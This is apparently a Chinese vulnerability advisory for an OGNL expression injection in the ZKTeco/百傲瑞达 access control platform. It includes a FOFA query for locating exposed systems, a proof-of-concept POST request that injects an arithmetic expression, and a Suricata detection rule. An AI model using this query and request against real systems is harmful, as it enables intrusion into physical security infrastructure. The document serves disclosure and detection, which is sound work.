百傲瑞达门禁系统 authLicenseAction!getLicenseInfos 存在表达式注入漏洞¶
百傲瑞达门禁系统 authLicenseAction!getLicenseInfos 存在表达式注入漏洞
影响版本¶
≤2.3.15
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
fofa: body="authLicenseAction"
POC/EXP:
step1 表达式注入
POST /authLicenseAction!getLicenseInfo.do HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
debug=command&expression=%23{99-20}
sonrt规则:
alert http any any -> $HOME_NET any (
msg:"ZKTeco/百傲瑞达 门禁 authLicenseAction!getLicenseInfo OGNL表达式注入 (debug=command&expression=#{})";
flow:to_server,established;
http.method; content:"POST"; nocase;
http.uri;
content:"/authLicenseAction!getLicenseInfo.do";
fast_pattern;
nocase;
http.content_type; content:"application/x-www-form-urlencoded"; nocase;
http.client_body;
content:"debug=command"; nocase;
content:"expression="; nocase;
pcre:"/expression=[^&]*?(?:%23|#)\s*\{/i";
metadata:
service http,
affected_product "ZKTeco/百傲瑞达 安防/门禁管理平台",
vulnerability_type "OGNL/Expression Language Injection (Struts2 devMode)",
reference "Struts S2-008; ZKTeco devMode advisory",
severity "critical";
classtype:web-application-attack;
sid:1001001;
rev:1;
priority:1;
)
漏洞修复¶
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